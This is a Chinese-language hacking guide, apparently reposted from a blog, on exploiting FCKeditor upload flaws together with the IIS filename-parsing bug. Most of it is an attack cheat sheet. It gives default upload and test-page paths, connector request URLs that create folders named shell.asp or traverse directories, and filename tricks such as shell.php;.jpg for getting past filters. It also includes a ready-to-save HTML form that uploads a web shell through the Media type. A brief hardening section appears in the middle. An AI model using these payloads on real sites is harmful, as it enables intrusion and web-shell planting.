FCK漏洞利用总结

前段时间，IIS解析漏洞被披露出来。IIS解析漏洞就是把shell 文件 命名为test.asp;z.jpg，test.asp;_gif之类格式的文件，会被当做asp,php,aspx等动态文件解析的问题。对于FCK来讲，这个漏洞应当是起到了助纣为虐的作用。fckeditor可能是当今各大站长使用的最为广泛的一款网页编辑器，其兼容性和易用性广为人知，但同时众所周知的是他的安全性也被人广为诟病。IIS解析漏洞和FCK上传文件问题这两者的结合铸就了江湖太多太多的血雨腥风。前段时间安全 中国 ，NOD32网站等网站被入侵，听说都是因FCK所累，真不知有多少大站倒在fck的石榴裙下， 网络 安全有点触目惊心的味道。 
     FCK的问题与IIS的解析漏洞有着密切的关系，自IIS解析漏洞披露后，fck就遭受了新一轮冲击。由于fck对上传文件的扩展名检查不严格，导致了一些畸形文件名文件的上传，比如上面说道的test.asp;z.jpg，而由于IIS解析漏洞的原因，IIS会把这种格式的文件当做动态文件解析。FCK修正了一次之后，又出现了二次上传漏洞，就是第一次会把扩展名中多余的”.“替换成”-“，但是如果再传一次同样的文件，则不替换。对上传文件过滤似乎有所加强，出现invalid file弹窗的几率大为增加，但是还是有办法突破，这都归责于fck的致命问题：上传文件没有重命名！对于突破上传，网上有个朋友介绍了一个相当好的办法，那就是利用edjpgcom插入一句话到图片，这个图片还可以游览，fck根本无法检测出，非常好的一个伪装办法，edjpgcom.exe这个程序刀城有朋友传上来了，在cmd下使用，直接拉图片到程序也是可以的。 

     前几天遇到一个fck的一个新情况，是什么呢？重命名了，我不是很确认这是官方的版本还是自己修改的版本，FCK把所有的文件都重命名存放，截图看下 

可以看到严重的问题，虽然重命名，但是没有过滤扩展名，真是奇怪，asp，cer，aspx都可以上传。 

测试了一下，aspx可以运行，说明上传不是假的。 
本人感觉这个应当是某些网站自己修改了上传页面，才会导致这么大的疏忽，在这也请各个站长注意了。 

说到FCK，几个老问题不得不说，虽然是陈年旧事，但是还是被很多站长们常常疏忽。对于FCK我会查找3个页面：fckeditor.html，test.html和browser.html 

首先说test.html的问题，看文件名就知道，这是fck的测试文件，可能出于疏忽，作为产品发布了，从此很多使用此编辑器的网站也就存在了这个页面。这个页面非常危险，可以直接上传动态文件。 
test.html存在2个不同版本，第一个版本的默认路径是FCKeditor/editor/filemanager/connectors/test.html，这是一个在FCK中比较常见的问题文件。 

如图，直接选择本地文件上传，有时候不成功可以多测试几次connector，有时候可能关闭了asp，只开启了aspx；对于resouse type也是一样，或者只是开启了file或者image其中一个类型的上传。怎么获取上传地址呢？已经很明显了，点击”get folders and files“就将返回当前上传文件的地址。 

另外一个版本的test.html，相对较少，他的默认路径是FCKeditor/editor/filemanager/upload/test.html  

从图片可以看出，上传后会直接返回上传的路径，所以利用非常方便。 

下面说fckeditor.html和browser.html， 
先说browser.html，他的默认路径一般是FCKeditor/editor/filemanager/browser/default/browser.html?Type=file&Connector=connectors/asp/connector.asp 
这里是利用asp连接器，类型选择为”file“，打开后如下图 

可以看到下面有一个上传的地方，如果rp没有问题，那么就可以上传成功，那么怎么获取上传之后的地址呢？这是一些朋友迷惑的问题 
FCK是利用xml列出文件的，在连接器中有这样一个命令”GetFoldersAndFiles",就是列出文件夹和文件。可以尝试运行下面的命令 
editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 
如果行的话就会列出文件路径。 

另外可以摸石头过河，根据经验瞎猜默认路径；翻一翻网站，找找相似的图片，说不定路径就出来了；再或者试试网页嗅探器。 

下面说说fckeditor.html。fckeditor.html的默认路径一般是fckeditor/editor/fckeditor.Html ，就我而言，只有当fckeditor.html无法利用，比如删除了，或者打开是一片空白，我才会查找browser.html。 

理由有3： 
第一，连接器的选择问题，如果用browser.html，你首先的测试哪一个Connector是可用的。而在fckeditor.html中，如果正常的话他有一个上传图片的功能，点击打开上传图片对话框 

可以看到一个”brows server“ 按钮，点击打开之，就会是正确的browser.html，他会自动选择正确的连接器。 

第二，上面说到的browser.html中获取上传路径的问题，从上传图片对话框中打开browser.html后，双击列出的文件，就将自动复制地址给”链接“或者“图像”，如上图中所示，在这里为相对路径为/upload/File/24filmru1377.html 

第三，他同样具有上传图片的地方，虽然没browse.html方便，可以测试多个类型文件 

上传之后，会直接在”图像“栏中显示上传地址 。 

-----------------------------------------------------------------------------

-----------------------------------------------------------------------------
对于这个FCK的利用就说到这里了，下面说安全 

1，首先要删除上面说到的2个test.html，这2个文件对网站有百害而无一利 

2，对于文件的上传，我们可以关闭FCK的上传功能。关闭是在各个连接器的config文件中，比如asp连接器，editor/filemanager/browser/default/connectors/asp/config.asp，将config.asp中的ConfigIsEnabled的值设置为False。各个连接都需要关闭！当然最好的办法是删除filemanager这个文件夹，彻底解决FCK的上传，不过这样FCK也就无法上传了 

3，如果想使用FCK上传，那么就得修改相应的config文件。限制各个动态文件的上传，重命名文件。 

4，如果你有服务器权限，那么取消FCK上传目录的“脚本”权限，虽上传，但是已无法运行。

转自：http://www.hackseo.net/post/198.html

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

----------------------------------------------------------------------华丽丽分割线----------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

1. 查看编辑器版本

FCKeditor/_whatsnew.html

——————————————————————————

2. Version 2.2 版本

Apache+linux 环境下在上传文件后面加个.突破！测试通过。

——————————————————————————

3.Version <=2.4.2 For php 

在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。

<form id="frmUpload" enctype="multipart/form-data"

action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>

<input type="file" name="NewFile" size="50"><br>

<input id="btnUpload" type="submit" value="Upload">

</form>

——————————————————————————

4.FCKeditor 文件上传“.”变“_”下划线的绕过方法

        很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。

    4.1：提交shell.php+空格绕过

不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。

    4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。

——————————————————————————

5. 突破建立文件夹

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

——————————————————————————

6. FCKeditor 中test 文件的上传地址

FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

——————————————————————————

7.常用上传地址

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)

JSP 版：

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文

件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。

——————————————————————————

8.其他上传地址

FCKeditor/_samples/default.html

FCKeditor/_samples/asp/sample01.asp

FCKeditor/_samples/asp/sample02.asp

FCKeditor/_samples/asp/sample03.asp

FCKeditor/_samples/asp/sample04.asp

一般很多站点都已删除_samples 目录，可以试试。

FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。

——————————————————————————

9.列目录漏洞也可助找上传地址

Version 2.4.1 测试通过

修改CurrentFolder 参数使用 ../../来进入不同的目录

/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp

根据返回的XML 信息可以查看网站所有的目录。

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F

也可以直接浏览盘符：

JSP 版本：

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F

——————————————————————————

10.爆路径漏洞

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp

—————————————————————————————————————————————————————————————

11. FCKeditor 被动限制策略所导致的过滤不严问题

        影响版本: FCKeditor x.x <= FCKeditor v2.4.3

脆弱描述：

FCKeditor v2.4.3 中File 类别默认拒绝上传类型：

html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm

Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!

        而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。

        在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!

——————————————————————————

12.最古老的漏洞，Type文件没有限制！

        我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！

——————————————————————————

将下面代码保存为html,然后在action后面添上网站的上传地址,如果能上传成功会返回一个空白页面,使用Chrome等浏览器的审查元素或者直接查看网页源代码就能看见你个返回的地址,该地址就是你的shell地址，exp是利用media选项的任意文件上传漏洞进行上传得，如果编辑器补了这个漏洞是没法上传得到shell的。

<form> id="frmUpload" enctype="multipart/form-data"

action="http://www.test.kr/FCKeditor/editor/filemanager/upload/asp/upload.asp?Type=Media" method="post">Upload a new file:<br>

<input type="file" name="NewFile" size="50"><br>

<input id="btnUpload" type="submit" value="Upload">

</form>